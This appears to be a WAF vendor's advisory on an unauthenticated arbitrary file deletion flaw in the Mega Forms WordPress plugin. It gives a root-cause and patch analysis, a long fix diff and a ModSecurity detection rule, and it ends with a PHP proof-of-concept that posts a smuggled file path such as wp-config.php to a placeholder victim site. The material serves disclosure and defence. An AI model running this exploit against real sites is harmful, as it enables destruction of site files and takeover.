Published : November 19, 2026

CVE-2026-126716: Mega Forms <= 1.7.9 Unauthenticated Arbitrary File Deletion via Submitted Field Value PoC, Patch Analysis & Rule

Plugin mega-forms
Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 1.7.9
Patched Version 1.8.0
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-126716: Mega Forms versions up to and including 1.7.9 contain an unauthenticated arbitrary file deletion vulnerability in the entry deletion routine. The flaw resides in the `delete_entry` function within `mega-forms/common/partials/class-mega-forms-api.php`, where every `[‘path’]` element found in stored entry metadata is passed to `mf_files()->delete_file()` without any restriction on the target path. CVSS score 8.1, CWE-22 (path traversal). Detonation requires an administrator to delete the entry, making it a stored, attacker-primed primitive.

Root Cause: In the vulnerable `delete_entry` function (around line 1395 of `class-mega-forms-api.php`), the code iterates over every item of `$entry_meta` and, if an array element contains a `path` key, calls `mf_files()->delete_file($meta_item[‘path’])` directly. The `delete_file` implementation in `class-mega-forms-files-api.php` performed only `file_exists($path)` followed by `@unlink($path)`, with no containment check against the form upload directory. Because `$entry_meta` is populated from submitted field values, an unauthenticated visitor can store an arbitrary filesystem path (for example `/var/www/html/wp-config.php`) inside a hidden or text field, since the pre-patch `validate_text_value` check and string-type validation for text, textarea, and hidden fields did not exist. When an administrator later deletes the entry from the WordPress admin, the stored path reaches `delete_file()` and the file is removed. The Pro hook `mf_after_delete_entry` → `cleanup_entry_directories` in `class-mega-forms-common-pro.php` compounded the issue by iterating the same unvalidated paths and calling `dirname` plus `rmdir` on attacker-influenced directories.

Exploitation: An unauthenticated attacker submits the public form endpoint with a payload targeting any field that stores raw text (hidden, text, or textarea) and supplies a nested value such as `field_id[0][path]=/absolute/path/to/wp-config.php`. The plugin stores this array in `$entry_meta` because no validation rejects non-string values for text-like fields. No authentication is required at submission time. A routine admin action (deleting the entry from the Entries list, or any bulk trash-and-delete flow) triggers `delete_entry()`; the stored path flows unchanged into `mf_files()->delete_file()`, which executes `@unlink()` on it. Deleting `wp-config.php` forces WordPress into setup mode and enables takeover via a fresh install; deleting `index.php` or `.htaccess` exposes directory listings and drops the firewall. The attacker cannot self-trigger the delete, but the priming step is fully unauthenticated.

Patch Analysis: The patch replaces the unguarded loop in `delete_entry` with `foreach (self::get_entry_files($form_id, $entry_meta) as $file)`. The new `get_entry_files` resolves each entry value against the form’s registered fields, asks only file-bearing field types (`file`, `signature`) to return stored paths via the new `get_stored_files` interface, and then validates every resulting path through `mf_files()->get_form_file_path($form_id, $path)` before adding it to the delete list. `get_form_file_path` performs `realpath()` on both the base upload folder and the candidate file, rejects null bytes, rejects anything that is not a regular file, and requires a strict `strpos($file, $base) === 0` prefix match. The patched `delete_file` in `class-mega-forms-files-api.php` independently re-checks containment against `get_upload_dir()` using `realpath()` so that any caller inherits the guard. Text, textarea, and hidden field classes now reject array or object payloads via `validate_text_value`, closing the storage primitive. The `cleanup_entry_directories` Pro hook is removed entirely. The unused X-Real-IP/Forwarded header trust path in `class-mega-forms-client-ip.php` is tightened so client-controlled headers cannot spoof the visitor address.

Impact: Successful exploitation yields arbitrary file deletion on the WordPress host, restricted only by the PHP process’s filesystem permissions (typically the entire web root, including wp-config.php, .htaccess, uploaded media, and other plugins). Deleting wp-config.php halts the site and pivots to installation hijack. Deleting the plugin’s own files or WordPress core files can brick the site. When the right file is chosen, remote code execution follows through the installer or through dropping a malicious .htaccess / index.php. Atomic Edge research rates this as critical in practice despite the required admin trigger, because the priming is unauthenticated and the trigger is standard housekeeping.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mega-forms/common/partials/class-mega-forms-api.php
+++ b/mega-forms/common/partials/class-mega-forms-api.php
@@ -1395,17 +1395,11 @@
 		// Allow Pro version to handle enhanced cleanup
 		do_action('mf_before_delete_entry', $entry_id, $form_id, $entry_meta);

-		// Delete any associated files
-		if (!empty($entry_meta)) {
-			foreach ($entry_meta as $meta) {
-				if (is_array($meta)) {
-					foreach ($meta as $meta_item) {
-						if (isset($meta_item['path'])) {
-							mf_files()->delete_file($meta_item['path']);
-						}
-					}
-				}
-			}
+		// Delete the files the entry's upload fields stored. Entry values come from visitors, so
+		// only fields that store files are asked for them, and only files inside the form's own
+		// upload folder are deleted.
+		foreach (self::get_entry_files($form_id, $entry_meta) as $file) {
+			mf_files()->delete_file($file);
 		}

 		// Delete Entry
@@ -1503,6 +1497,86 @@
 		return $trash;
 	}
 	/**
+	 * Return the files stored by an entry's upload fields, as real paths inside the form's upload
+	 * folder. Paths pointing anywhere else are left out.
+	 *
+	 * A field on the form says which files its value refers to, so a field that stores no files
+	 * (such as a text field) contributes none, whatever its value holds. A value whose field has
+	 * since been removed from the form is read by its stored shape, so its uploads are still
+	 * found; visitors can only submit values for fields that are on the form.
+	 *
+	 * @since 1.8.0
+	 * @param int   $form_id
+	 * @param array $entry_meta The entry's stored values, keyed by field ID.
+	 * @return string[]
+	 */
+	public static function get_entry_files($form_id, $entry_meta)
+	{
+		if (!$form_id || !is_array($entry_meta)) {
+			return array();
+		}
+
+		$form   = mfget_form($form_id);
+		$fields = $form && !empty($form->fields) && is_array($form->fields) ? $form->fields : array();
+
+		$files = array();
+		foreach ($entry_meta as $field_id => $value) {
+			if (isset($fields[$field_id]['type'])) {
+				$field_object = MF_Fields::get(
+					$fields[$field_id]['type'],
+					array(
+						'field'    => $fields[$field_id],
+						'form_id'  => (int) $form_id,
+						'field_id' => $field_id,
+					)
+				);
+				$paths = $field_object ? $field_object->get_stored_files($value) : array();
+			} elseif (is_numeric($field_id)) {
+				$paths = self::get_stored_file_paths($value);
+			} else {
+				continue;
+			}
+
+			foreach ($paths as $path) {
+				$file = mf_files()->get_form_file_path($form_id, $path);
+				if ($file !== false) {
+					$files[] = $file;
+				}
+			}
+		}
+
+		return array_values(array_unique($files));
+	}
+	/**
+	 * Return the file paths in a stored upload value: a list of files, or a single file record
+	 * (stored as an array or as JSON).
+	 *
+	 * @since 1.8.0
+	 * @param mixed $value
+	 * @return string[]
+	 */
+	private static function get_stored_file_paths($value)
+	{
+		if (is_string($value)) {
+			$value = json_decode($value, true);
+		}
+		if (!is_array($value)) {
+			return array();
+		}
+		if (isset($value['path'])) {
+			$value = array($value);
+		}
+
+		$paths = array();
+		foreach ($value as $item) {
+			if (is_array($item) && isset($item['path']) && is_string($item['path'])) {
+				$paths[] = $item['path'];
+			}
+		}
+
+		return $paths;
+	}
+	/**
 	 * Delete all leads associated with a specific form
 	 *
 	 * @since    1.0.0
--- a/mega-forms/common/partials/class-mega-forms-client-ip.php
+++ b/mega-forms/common/partials/class-mega-forms-client-ip.php
@@ -118,13 +118,9 @@
 	 *
 	 * It does not when the address is unknown, when it is a proxy or local-network address (a
 	 * trusted proxy that reported no client), or when the connection forwards requests for
-	 * other clients: a forwarding header names a client other than the connecting address and
-	 * the trusted proxies. Such an address may be a CDN or load balancer Mega Forms does not
-	 * recognise, shared by everyone behind it, or a client merely claiming to be one.
-	 *
-	 * A forwarding header that only repeats the connecting address comes from a server that has
-	 * already restored the visitor's address (nginx real_ip, Apache mod_remoteip, a host
-	 * restoring the Cloudflare address), so that address does identify the visitor.
+	 * other clients (see forwards_for_others()). Such an address may be a CDN or load balancer
+	 * Mega Forms does not recognise, shared by everyone behind it, or a client merely claiming
+	 * to be one.
 	 *
 	 * @since 1.7.9
 	 * @return bool
@@ -142,8 +138,15 @@
 	}

 	/**
-	 * Whether a forwarding header names a client other than the connecting address and the
-	 * trusted proxies. Values that are not IP addresses (such as `unknown`) name no client.
+	 * Whether the connection forwards requests for a client other than itself.
+	 *
+	 * Only the `X-Forwarded-For` entry nearest the server can say so: each proxy appends the
+	 * address it received the request from, so the last entry, after any trusted proxy hops, is
+	 * the one the connecting server wrote. When it is the connecting address, the server already
+	 * restored the visitor's address (nginx real_ip, Apache mod_remoteip, a host restoring the
+	 * Cloudflare address) and passed the header along, so the connection is the visitor, whatever
+	 * the visitor put before that entry. Headers a client can set on its own (`X-Real-IP`,
+	 * `Forwarded`, `Via`) never decide it. Values that are not IP addresses name no client.
 	 *
 	 * @param string $remote_addr A normalized address.
 	 * @return bool
@@ -152,36 +155,16 @@
 	{
 		$trusted = self::get_trusted_proxies();

-		foreach (self::get_reported_clients() as $client) {
-			$client = self::normalize($client);
-			if ($client !== '' && $client !== $remote_addr && !self::in_ranges($client, $trusted)) {
-				return true;
+		foreach (array_reverse(self::get_forwarded_chain()) as $hop) {
+			$hop = self::normalize($hop);
+			if ($hop === '' || self::in_ranges($hop, $trusted)) {
+				continue;
 			}
-		}
-
-		return false;
-	}
-
-	/**
-	 * Return every client address named by the `X-Forwarded-For`, `Forwarded` (`for=`) and
-	 * `X-Real-IP` request headers.
-	 *
-	 * @return string[]
-	 */
-	private static function get_reported_clients()
-	{
-		$clients = self::get_forwarded_chain();

-		if (!empty($_SERVER['HTTP_FORWARDED']) && is_string($_SERVER['HTTP_FORWARDED'])) {
-			preg_match_all('/fors*=s*"?[?([^]";,s]+)/i', wp_unslash($_SERVER['HTTP_FORWARDED']), $matches);
-			$clients = array_merge($clients, $matches[1]);
+			return $hop !== $remote_addr;
 		}

-		if (!empty($_SERVER['HTTP_X_REAL_IP']) && is_string($_SERVER['HTTP_X_REAL_IP'])) {
-			$clients[] = wp_unslash($_SERVER['HTTP_X_REAL_IP']);
-		}
-
-		return $clients;
+		return false;
 	}

 	/**
--- a/mega-forms/common/partials/class-mega-forms-files-api.php
+++ b/mega-forms/common/partials/class-mega-forms-files-api.php
@@ -131,12 +131,11 @@
 	{

 		$download_url = site_url('index.php');
-		$filepath     = $filepath;
-		$upload_path  = self::get_form_upload_path($form_id);
+		$real_path    = self::get_form_file_path($form_id, $filepath);

-		// Make sure the file is pointing to the correct directory
-		if (strpos($filepath, $upload_path) !== false) {
-			$file = str_replace($upload_path, '', $filepath);
+		// Only a file inside the form's upload folder gets a download link
+		if ($real_path !== false) {
+			$file = substr($real_path, strlen(self::get_form_real_upload_path($form_id)));

 			// Build url params
 			$args = array(
@@ -204,11 +203,10 @@
 			$hash_check = self::generate_safe_download_hash($form_id, $field_id, $file);
 			$is_valid   = hash_equals($hash_check, $hash);
 			if ($is_valid) {
-				// Deliver the file
-				$upload_path = self::get_form_upload_path($form_id);
-				$file_path   = trailingslashit($upload_path) . $file;
+				// Deliver the file, when it is inside the form's upload folder
+				$file_path = self::get_form_file_path($form_id, trailingslashit(self::get_form_upload_path($form_id)) . $file);

-				if (file_exists($file_path)) {
+				if ($file_path !== false) {

 					$filetype            = wp_check_filetype($file_path);
 					$content_disposition = mfget('dl') ? 'attachment' : 'inline';
@@ -540,12 +538,60 @@
 	 */
 	public static function delete_file($path)
 	{
-		if (file_exists($path)) {
-			@unlink($path);
-			return true;
+		// Only files inside the Mega Forms upload folder are ever deleted.
+		$base = is_string(self::get_upload_dir()) ? realpath(self::get_upload_dir()) : false;
+		$file = is_string($path) && $path !== '' && strpos($path, "") === false ? realpath($path) : false;
+		if ($base === false || $file === false || !is_file($file) || strpos(wp_normalize_path($file), trailingslashit(wp_normalize_path($base))) !== 0) {
+			return false;
 		}

-		return false;
+		@unlink($file);
+		return true;
+	}
+
+	/**
+	 * Return the real path of a form's upload folder, with a trailing slash, or false when the
+	 * folder does not exist.
+	 *
+	 * @since  1.8.0
+	 * @param int $form_id
+	 * @return string|false
+	 */
+	public static function get_form_real_upload_path($form_id)
+	{
+		$base = realpath(self::get_form_upload_path($form_id));
+
+		return $base === false ? false : trailingslashit(wp_normalize_path($base));
+	}
+
+	/**
+	 * Return the real path of a file in a form's upload folder, or false when the path points
+	 * anywhere else.
+	 *
+	 * Paths kept in entries and in posted data can come from visitors, so every operation on a
+	 * stored file (deleting, serving, copying) first resolves the path, following `..` and
+	 * symbolic links, and confirms it is a file inside the form's own upload folder.
+	 *
+	 * @since  1.8.0
+	 * @param int    $form_id
+	 * @param string $path
+	 * @return string|false
+	 */
+	public static function get_form_file_path($form_id, $path)
+	{
+		if (!is_string($path) || $path === '' || strpos($path, "") !== false) {
+			return false;
+		}
+
+		$base = self::get_form_real_upload_path($form_id);
+		$file = realpath($path);
+		if ($base === false || $file === false || !is_file($file)) {
+			return false;
+		}
+
+		$file = wp_normalize_path($file);
+
+		return strpos($file, $base) === 0 ? $file : false;
 	}

 	/**********************************************************************
--- a/mega-forms/common/partials/form/fields/base/class-mega-forms-field.php
+++ b/mega-forms/common/partials/form/fields/base/class-mega-forms-field.php
@@ -1509,6 +1509,42 @@
 		return true;
 	}
 	/**
+	 * Check that a field that posts one piece of text received exactly that.
+	 *
+	 * A text input sends a single string. A list or nested value can only be crafted outside the
+	 * form, and must not be stored as the field's value.
+	 *
+	 * @since 1.8.0
+	 * @param mixed $value The submitted value.
+	 * @return true|array True, or the field notice.
+	 */
+	protected function validate_text_value($value)
+	{
+		if (is_array($value) || is_object($value)) {
+			return array(
+				/* translators: field label. */
+				'notice'      => sprintf(__('The entered %s is not valid.', 'megaforms'), $this->get_setting_value('field_label')),
+				'notice_code' => 'invalid_format',
+			);
+		}
+
+		return true;
+	}
+	/**
+	 * Return the paths of the files a stored value of this field refers to.
+	 *
+	 * Fields that store uploaded files override this. The paths are as stored, so a caller acting
+	 * on them confirms each one with MF_Files_API::get_form_file_path() first.
+	 *
+	 * @since 1.8.0
+	 * @param mixed $value The stored (raw) value.
+	 * @return string[]
+	 */
+	public function get_stored_files($value)
+	{
+		return array();
+	}
+	/**
 	 * Override this method (if needed) for each field to do a spam check.
 	 *
 	 * Return 'false' if the value is not considered "spam".
--- a/mega-forms/common/partials/form/fields/class-mega-forms-field-hidden.php
+++ b/mega-forms/common/partials/form/fields/class-mega-forms-field-hidden.php
@@ -101,6 +101,10 @@
 	/**********************************************************************
 	 ********************* Validation && Sanitazation *********************
 	 **********************************************************************/
+	public function validate($value, $context = '')
+	{
+		return $this->validate_text_value($value);
+	}
 	public function sanitize_settings()
 	{

--- a/mega-forms/common/partials/form/fields/class-mega-forms-field-text.php
+++ b/mega-forms/common/partials/form/fields/class-mega-forms-field-text.php
@@ -250,6 +250,11 @@
 	public function validate($value, $context = '')
 	{

+		$is_text = $this->validate_text_value($value);
+		if ($is_text !== true) {
+			return $is_text;
+		}
+
 		$fieldLabel = $this->get_setting_value('field_label');
 		$inputMask  = $this->get_setting_value('input_mask');

--- a/mega-forms/common/partials/form/fields/class-mega-forms-field-textarea.php
+++ b/mega-forms/common/partials/form/fields/class-mega-forms-field-textarea.php
@@ -142,6 +142,11 @@
 	public function validate($value, $context = '')
 	{

+		$is_text = $this->validate_text_value($value);
+		if ($is_text !== true) {
+			return $is_text;
+		}
+
 		$fieldLabel = $this->get_setting_value('field_label');
 		$maxLength  = $this->get_setting_value('max_length');

@@ -164,6 +169,11 @@
 	}
 	public function is_spam($value)
 	{
+		// Only text is checked; any other value fails validation.
+		if (!is_string($value)) {
+			return false;
+		}
+
 		// BB code check
 		if ( (bool) preg_match('/[url[=]].*[/url]/is', $value)) {
 			return true;
--- a/mega-forms/common/partials/mega-forms-helpers.php
+++ b/mega-forms/common/partials/mega-forms-helpers.php
@@ -68,19 +68,28 @@

 		$stored = get_option('megaforms_signing_key');
 		if (!$is_valid($stored)) {
+			global $wpdb;
+
 			$new_key = array(
 				'key'     => wp_generate_password(64, true, true),
 				'created' => time(),
 			);
-			// add_option() does nothing when another request created the key first; reading the
-			// key back keeps every request on the same one. A stored value that is not a key is
-			// replaced.
-			add_option('megaforms_signing_key', $new_key, '', true);
-			$stored = get_option('megaforms_signing_key');
+
+			// The key is inserted only when none is stored, and then read back from the database,
+			// so requests that create it at the same moment all sign with the first one. add_option()
+			// would overwrite it, invalidating the forms of pages already rendered with it.
+			$wpdb->query($wpdb->prepare("INSERT IGNORE INTO `{$wpdb->options}` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'yes')", 'megaforms_signing_key', maybe_serialize($new_key)));
+			$stored = maybe_unserialize($wpdb->get_var($wpdb->prepare("SELECT `option_value` FROM `{$wpdb->options}` WHERE `option_name` = %s", 'megaforms_signing_key')));
+
+			// A stored value that is not a key is replaced.
 			if (!$is_valid($stored)) {
 				update_option('megaforms_signing_key', $new_key, true);
 				$stored = $new_key;
 			}
+
+			wp_cache_delete('alloptions', 'options');
+			wp_cache_delete('notoptions', 'options');
+			wp_cache_delete('megaforms_signing_key', 'options');
 		}

 		return array(
@@ -1059,8 +1068,9 @@
 							if (isset($args['placeholder'])) {
 								$attrs['placeholder'] = $args['placeholder'];
 							}
+							// The raw value: each renderer below escapes it once for where it is printed.
 							if (isset($args['value']) && ($args['type'] !== 'radio' && $args['type'] !== 'checkbox')) {
-								$attrs['value'] = esc_attr($args['value']);
+								$attrs['value'] = $args['value'];
 							}

 							if ($args['type'] == 'hidden') {
--- a/mega-forms/includes/class-mega-forms-updater.php
+++ b/mega-forms/includes/class-mega-forms-updater.php
@@ -45,6 +45,9 @@
 		'1.7.8' => array(
 			'update_178_drop_sessions_table',
 		),
+		'1.7.9' => array(
+			'update_179_unescape_settings_text',
+		),
 	);
 	/**
 	 * Check if an update has been performed.
@@ -199,4 +202,88 @@
 			$wpdb->query('DROP TABLE IF EXISTS `' . $wpdb->get_blog_prefix($blog_id) . 'mf_sessions`');
 		}
 	}
+	/**
+	 * Restore the HTML of text settings that were saved escaped.
+	 *
+	 * The form settings and global settings screens escaped a textarea's value twice, so saving
+	 * them stored HTML as escaped text (`<h3>`), which then showed on the site as literal
+	 * tags. On a network, every site has its own forms and settings.
+	 *
+	 * @since 1.8.0
+	 */
+	public static function update_179_unescape_settings_text()
+	{
+		$blog_ids = is_multisite() ? get_sites(array('fields' => 'ids', 'number' => 0)) : array(get_current_blog_id());
+		foreach ($blog_ids as $blog_id) {
+			if (is_multisite()) {
+				switch_to_blog($blog_id);
+			}
+
+			self::unescape_site_settings_text();
+
+			if (is_multisite()) {
+				restore_current_blog();
+			}
+		}
+	}
+	/**
+	 * Restore the escaped text settings of the current site's forms and global settings.
+	 *
+	 * @since 1.8.0
+	 */
+	private static function unescape_site_settings_text()
+	{
+		global $wpdb;
+
+		$forms_table = $wpdb->prefix . 'mf_forms';
+		if ($wpdb->get_var($wpdb->prepare('SHOW TABLES LIKE %s', $forms_table)) === $forms_table) {
+			foreach ((array) mf_api()->get_forms() as $form) {
+				$settings = mf_api()->get_form_meta($form->id, 'settings');
+				if (!is_array($settings)) {
+					continue;
+				}
+
+				$changed = false;
+				foreach (array('form_description', 'limit_reached_msg', 'login_restricted_msg', 'confirmation_message') as $key) {
+					if (isset($settings[$key])) {
+						$restored = self::unescape_text($settings[$key]);
+						if ($restored !== $settings[$key]) {
+							$settings[$key] = $restored;
+							$changed        = true;
+						}
+					}
+				}
+
+				// update_form_meta() unslashes what it stores, so the other settings keep their backslashes.
+				if ($changed) {
+					mf_api()->update_form_meta($form->id, 'settings', wp_slash($settings));
+				}
+			}
+		}
+
+		$footer = get_option('megaforms_email_footer_text');
+		if (is_string($footer)) {
+			$restored = self::unescape_text($footer);
+			if ($restored !== $footer) {
+				update_option('megaforms_email_footer_text', $restored);
+			}
+		}
+	}
+	/**
+	 * Return a setting's text with the escaping undone, when it was stored escaped.
+	 *
+	 * Text that holds markup of its own was not stored escaped, and is returned unchanged.
+	 *
+	 * @since 1.8.0
+	 * @param mixed $value
+	 * @return mixed
+	 */
+	private static function unescape_text($value)
+	{
+		if (!is_string($value) || strpos($value, '<') !== false || !preg_match('/&(?:lt|gt|amp|quot|#0*39|#x0*27);/i', $value)) {
+			return $value;
+		}
+
+		return wp_specialchars_decode($value, ENT_QUOTES);
+	}
 }
--- a/mega-forms/mega-forms.php
+++ b/mega-forms/mega-forms.php
@@ -5,7 +5,7 @@
  * Plugin Name:       Mega Forms
  * Plugin URI:        http://wpmegaforms.com/
  * Description:       Megaforms is an easy to use, feature rich, drag and drop form builder for WordPress.
- * Version:           1.7.9
+ * Version:           1.8.0
  * Requires at least: 6.5
  * Requires PHP:      7.4
  * Tested up to:      7.1
@@ -23,7 +23,7 @@
 	die;
 }

-define('MEGAFORMS', '1.7.9');
+define('MEGAFORMS', '1.8.0');
 define('MEGAFORMS_DIR_URL', plugin_dir_url(__FILE__));
 define('MEGAFORMS_DIR_PATH', plugin_dir_path(__FILE__));
 define('MEGAFORMS_INC_PATH', plugin_dir_path(__FILE__) . 'includes/');
--- a/mega-forms/pro/class-mega-forms-pro.php
+++ b/mega-forms/pro/class-mega-forms-pro.php
@@ -105,7 +105,6 @@
 		$this->loader->add_action('mf_process_entry_actions', $pro_common, 'handle_entry_processes', 10, 3);

 		// Clean up directories after entry deletion
-		$this->loader->add_action('mf_after_delete_entry', $pro_common, 'cleanup_entry_directories', 10, 3);
 		$this->loader->add_action('mf_after_delete_entry', $pro_common, 'cancel_entry_retries', 10, 2);
 		$this->loader->add_action('mf_entry_after_delete', $pro_common, 'cancel_form_retries', 10, 1);

--- a/mega-forms/pro/common/class-mega-forms-common-pro.php
+++ b/mega-forms/pro/common/class-mega-forms-common-pro.php
@@ -628,67 +628,6 @@
 	}

 	/**
-	 * Clean up empty directories after file deletion
-	 *
-	 * @since    1.5.1
-	 * @param int   $entry_id The entry ID being deleted
-	 * @param int   $form_id The form ID
-	 * @param array $entry_meta The entry metadata
-	 */
-	public function cleanup_entry_directories($entry_id, $form_id, $entry_meta)
-	{
-		// Only proceed if we have form ID and entry meta
-		if (!$form_id || empty($entry_meta)) {
-			return;
-		}
-
-		// Track directories that contained files
-		$dirs_to_check = array();
-
-		// Find all file paths in the entry meta
-		foreach ($entry_meta as $meta) {
-			if (is_array($meta)) {
-				foreach ($meta as $meta_item) {
-					if (isset($meta_item['path']) && file_exists($meta_item['path'])) {
-						$dir = dirname($meta_item['path']);
-						if (!in_array($dir, $dirs_to_check)) {
-							$dirs_to_check[] = $dir;
-						}
-					}
-				}
-			}
-		}
-
-		// Clean up empty directories after files are deleted
-		if (!empty($dirs_to_check) && function_exists('mf_files')) {
-			$form_upload_path = mf_files()->get_form_upload_path($form_id);
-
-			// Sort directories by depth (deepest first)
-			usort(
-                $dirs_to_check,
-                function ($a, $b) {
-					return substr_count($b, '/') - substr_count($a, '/');
-				}
-            );
-
-			// Remove empty directories
-			foreach ($dirs_to_check as $dir) {
-				// Only remove if it's a subdirectory of the form path
-				// and not the form base directory or tmp directory
-				if (strpos($dir, $form_upload_path) === 0 &&
-					$dir !== $form_upload_path &&
-					strpos($dir, $form_upload_path . 'tmp') !== 0) {
-
-					// Check if directory exists and is empty (only contains . and ..)
-					if (is_dir($dir) && count(scandir($dir)) == 2) {
-						@rmdir($dir);
-					}
-				}
-			}
-		}
-	}
-
-	/**
 	 * Clean up form directory when form is deleted
 	 *
 	 * @since    1.5.1
--- a/mega-forms/pro/common/partials/form/actions/class-mega-forms-action-post-submission.php
+++ b/mega-forms/pro/common/partials/form/actions/class-mega-forms-action-post-submission.php
@@ -201,10 +201,10 @@
 							// Log the error but continue with post creation
 							error_log('Mega Forms: Failed to set featured image from URL: ' . $image_id->get_error_message());
 						}
-					} else {
-						// Handle by Path ( if a path to the image is given )
-						$filename    = wp_basename($featured_image);
-						$upload_file = wp_upload_bits($filename, null, @file_get_contents($featured_image));
+					} elseif (false !== ($image_path = mf_files()->get_form_file_path($this->form_id, $featured_image))) {
+						// Handle by Path ( a file uploaded to this form; any other path is ignored )
+						$filename    = wp_basename($image_path);
+						$upload_file = wp_upload_bits($filename, null, file_get_contents($image_path));
 						if (!$upload_file['error']) {
 							// if succesfull insert the new file into the media library (create a new attachment post type).
 							$wp_filetype = wp_check_filetype($filename, null);
--- a/mega-forms/pro/common/partials/form/fields/class-mega-forms-field-file.php
+++ b/mega-forms/pro/common/partials/form/fields/class-mega-forms-field-file.php
@@ -410,6 +410,17 @@
 		return $allowed;
 	}

+	public function get_stored_files($value)
+	{
+		$paths = array();
+		foreach ((array) $value as $file) {
+			if (is_array($file) && isset($file['path']) && is_string($file['path'])) {
+				$paths[] = $file['path'];
+			}
+		}
+
+		return $paths;
+	}
 	public function get_formatted_value_short($value)
 	{

@@ -793,11 +804,22 @@
 	 */
 	public function validate_uploaded_file($file)
 	{
+		// The record comes from the visitor: only a well-formed hash naming one of this form's
+		// temporary uploads is accepted, and the record is rebuilt from its known keys.
+		$hash = isset($file['hash']) ? $file['hash'] : '';
+		if (!mf_files()->is_valid_file_hash($hash)) {
+			return false;
+		}
+
 		$tmp_upload_dir = mf_files()->get_form_temp_upload_path($this->form_id);
-		$tmp_file_path  = $tmp_upload_dir . $file['hash'] . '.tmp';
-		$idle_file_path = $tmp_upload_dir . $file['hash'] . '.idle';
+		$tmp_file_path  = $tmp_upload_dir . $hash . '.tmp';
+		$idle_file_path = $tmp_upload_dir . $hash . '.idle';
 		if (file_exists($tmp_file_path) || file_exists($idle_file_path)) {
-			$this->uploads[] = $file;
+			$this->uploads[] = array(
+				'hash' => $hash,
+				'name' => sanitize_file_name(isset($file['name']) && is_string($file['name']) ? $file['name'] : ''),
+				'size' => isset($file['size']) ? absint($file['size']) : 0,
+			);
 			return true;
 		}

--- a/mega-forms/pro/common/partials/form/fields/class-mega-forms-field-signature.php
+++ b/mega-forms/pro/common/partials/form/fields/class-mega-forms-field-signature.php
@@ -531,6 +531,22 @@
 	}

 	/**
+	 * Return the path of a drawn signature's image.
+	 *
+	 * @since 1.8.0
+	 * @param mixed $value The stored (raw) value.
+	 * @return string[]
+	 */
+	public function get_stored_files($value)
+	{
+		if (is_string($value)) {
+			$value = json_decode($value, true);
+		}
+
+		return is_array($value) && isset($value['path']) && is_string($value['path']) ? array($value['path']) : array();
+	}
+
+	/**
 	 * Get formatted value URL for merge tags
 	 */
 	public function get_formatted_value_url($value, $all = false)

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-126716
# Mega Forms <= 1.7.9 unauthenticated arbitrary file deletion.
# The exploit smuggles a filesystem path into a form submission via a nested
# array like mf_field[<id>][0][path]=/var/www/html/wp-config.php. Legitimate
# Mega Forms submissions post scalar values for text/hidden/textarea fields,
# so the presence of a [path] sub-key inside mf_field[*] on a submit request
# is a reliable exploit signature.
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax(?:-post)?.php$" 
    "id:2026126716,phase:2,deny,status:403,chain,msg:'CVE-2026-126716 Mega Forms arbitrary file deletion via nested path injection',severity:'CRITICAL',tag:'CVE-2026-126716',tag:'attack-file-deletion'"
    SecRule ARGS_POST:action "@streq mf_submit_form" "chain"
        SecRule ARGS_NAMES "@rx ^mf_field[[0-9]+](?:[[0-9]+])?[path]$" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-126716 - Mega Forms <= 1.7.9 - Unauthenticated Arbitrary File Deletion via Submitted Field Value
//
// This PoC demonstrates the priming step: an unauthenticated visitor stores an
// arbitrary filesystem path inside a form entry. When an administrator deletes
// the entry, the plugin calls mf_files()->delete_file() on the stored path.
//
// Prerequisites:
//   1. A published Mega Forms form with a hidden/text/textarea field.
//   2. The field ID (discoverable in form HTML: name="mf_field[<id>]" or data-field-id).
//   3. The exact target path the attacker wants removed (e.g. wp-config.php).
//
// The attacker never needs credentials to store the payload.

$target_url   = 'https://victim.example.com';
$form_id      = 1;                          // Mega Forms form ID
$field_id     = 3;                          // Vulnerable field (hidden/text/textarea)
$target_file  = '/var/www/html/wp-config.php'; // Absolute path to delete

// Step 1: Build a nested POST that smuggles a ['path'] key into the entry value.
// Pre-patch text/hidden/textarea fields do not reject array payloads, so this
// value is persisted verbatim into the mf_entries_meta table.
$post_fields = array(
    'action'                 => 'mf_submit_form',
    'form_id'                => $form_id,
    'mf_field[' . $field_id . '][0][path]' => $target_file,
    'mf_field[' . $field_id . '][0][name]' => 'poc.txt',
    'mf_field[' . $field_id . '][0][size]' => '1',
);

// Step 2: POST the form. Mega Forms accepts submissions unauthenticated.
$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_URL            => rtrim($target_url, '/') . '/wp-admin/admin-ajax.php',
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($post_fields),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT        => 20,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_HTTPHEADER     => array('Content-Type: application/x-www-form-urlencoded'),
));

$response = curl_exec($ch);
$code     = curl_getinfo($ch, CURLINFO_HTTP_CODE);
